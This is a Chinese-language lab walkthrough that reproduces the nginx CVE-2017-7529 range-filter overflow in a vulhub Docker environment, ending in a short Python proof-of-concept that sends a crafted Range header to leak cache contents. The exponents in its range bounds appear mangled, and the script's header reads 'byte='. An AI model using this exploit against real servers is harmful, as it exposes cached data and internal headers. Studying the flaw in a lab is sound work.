Nginx CVE-2017-7529数组越界读取缓存漏洞
漏洞原理:传送门
实验环境
主机 | 角色 | IP |
---|---|---|
centos8 | 漏洞靶机 | 192.168.1.80 |
windows10 | 攻击机 | 192.168.1.120 |
实验过程
启动漏洞靶机centos8
# 进入vulhub目录
cd /usr/sbin/vulhub/CVE-2017-7529/
# 开启docker服务
service docker start
# 创建docker镜像
docker-compose build
# 启动镜像
docker-compose up -d
尝试访问漏洞页面:
右击菜单栏,点击检查,刷新页面,查看响应头:
可以看出content-length也就是响应体长度为612,cache-control字段值为max-age=0,说明存在缓存。
当max-age>0时,直接从浏览器缓存中提取内容
当max-age=<0时,看缓存是否被修改,若被修改则返回200,若未修改则直接返回缓存内容。
如图所示,max-age=0并且缓存未修改,所以直接返回缓存内容。
这时我们进入镜像,可以查看一下缓存文件:
# 查看docker进程
docker ps
# 进入docker镜像
docker exec -it 镜像id /bin/bash
# 进入缓存文件目录
cd /tmp/nginx/5/77/
# 查看缓存文件
cat 文件名
读取的缓存文件内容如图所示:
尝试用curl命令访问漏洞页面,并返回http响应头,读取响应体的612字节内容:
尝试读取缓存内容,并输出为cache.txt文件。
range在nginx的源码中是64位有符号整型,所以范围是-263~263-1,也就是-9223372036854775808 到 9223372036854775807。
所以范围为-1212到 -9223372036854775808+1212=-9223372036854774596
文件内容如下:
如图所示,成功读取到缓存内容。
上述过程还可以用一个脚本实现:
# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://192.168.1.80:8080/ offset"%(sys.argv[0]))
sys.exit()
headers = {}
offset = int(sys.argv[2])
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "byte=-%d,-%d" % (n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(headers)
print(r.text)
#python poc.py http://192.168.1.80:8080 612
#一般来说响应体长度为多少,偏移就大致为多少